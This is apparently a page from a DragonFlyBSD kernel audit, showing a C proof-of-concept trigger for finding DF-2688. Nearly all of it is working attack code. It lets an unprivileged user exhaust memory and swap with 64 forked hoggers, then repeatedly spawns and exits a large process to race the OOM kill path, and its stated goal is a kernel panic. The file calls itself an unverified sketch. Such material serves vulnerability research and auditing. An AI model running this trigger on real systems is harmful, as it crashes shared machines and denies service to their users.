DragonFlyBSD Kernel Audit
DF-2688 / df2688_trigger.c
← back to finding ↓ download raw
/*
 * DF-2688 seed trigger (UNVERIFIED sketch for a future verify-mode run).
 *
 * Idea: an unprivileged user exhausts memory+swap so the pagedaemon's OOM
 * kill path (vm_pageout_scan_cache, sys/vm/vm_pageout.c:1812-1838) fires
 * once per second, while a "biggest process" repeatedly enters exit() at
 * the same time, racing the un-tokened FIRST_LWP_IN_PROC()/resetpriority()
 * in the kill block.
 *
 * WARNING: this intentionally drives the system into swap_pager_full OOM
 * conditions. Expect the OOM killer to kill these processes (that is the
 * point); success criterion is a kernel panic with resetpriority /
 * vm_pageout_scan_cache in the backtrace, NOT a kill.
 *
 * Build:  cc -O2 -o df2688_trigger df2688_trigger.c
 * Run:    ./df2688_trigger   (as an unprivileged user; system must have swap)
 */
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <time.h>

#define CHUNK (64UL << 20)	/* 64 MB per dirty chunk */

static void
dirty_anon(size_t total)
{
	size_t done = 0;
	unsigned long seed = 0;

	while (done < total) {
		char *p = mmap(NULL, CHUNK, PROT_READ | PROT_WRITE,
		    MAP_ANON | MAP_PRIVATE, -1, 0);
		if (p == MAP_FAILED)
			return;
		/* touch every page, pseudo-random offsets to defeat ZERO_PAGE */
		for (size_t i = 0; i < CHUNK; i += 4096) {
			seed = seed * 6364136223846793005UL + 1442695040888963407UL;
			p[i] = (char)(seed >> 56);
		}
		done += CHUNK;
	}
}

int
main(void)
{
	pid_t pid;
	int i;

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("DF-2688 trigger: filling memory+swap, then exit-racing "
	    "the OOM kill window\n");

	/* Phase 1: many long-lived hoggers to push the system toward
	 * swap_pager_full (they stay alive so the shortage persists). */
	for (i = 0; i < 64; ++i) {
		pid = fork();
		if (pid == 0) {
			dirty_anon((size_t)1 << 30);	/* up to 1 GB each */
			pause();			/* stay big, hold swap */
			_exit(0);
		}
	}

	/* Phase 2: keep one "currently biggest" process exiting over and
	 * over so the kill block's once-per-second window sees a proc whose
	 * lwp tree is being torn down mid-scan. */
	for (;;) {
		pid = fork();
		if (pid == 0) {
			dirty_anon((size_t)2 << 30);	/* be the biggest */
			/* exit immediately after faulting everything in:
			 * vmspace is still huge while lwps tear down */
			_exit(0);
		}
		(void)waitpid(pid, NULL, 0);
		usleep(arc4random_uniform(1000000));	/* random phase vs 1s kill cadence */
	}
	/* NOTREACHED */
}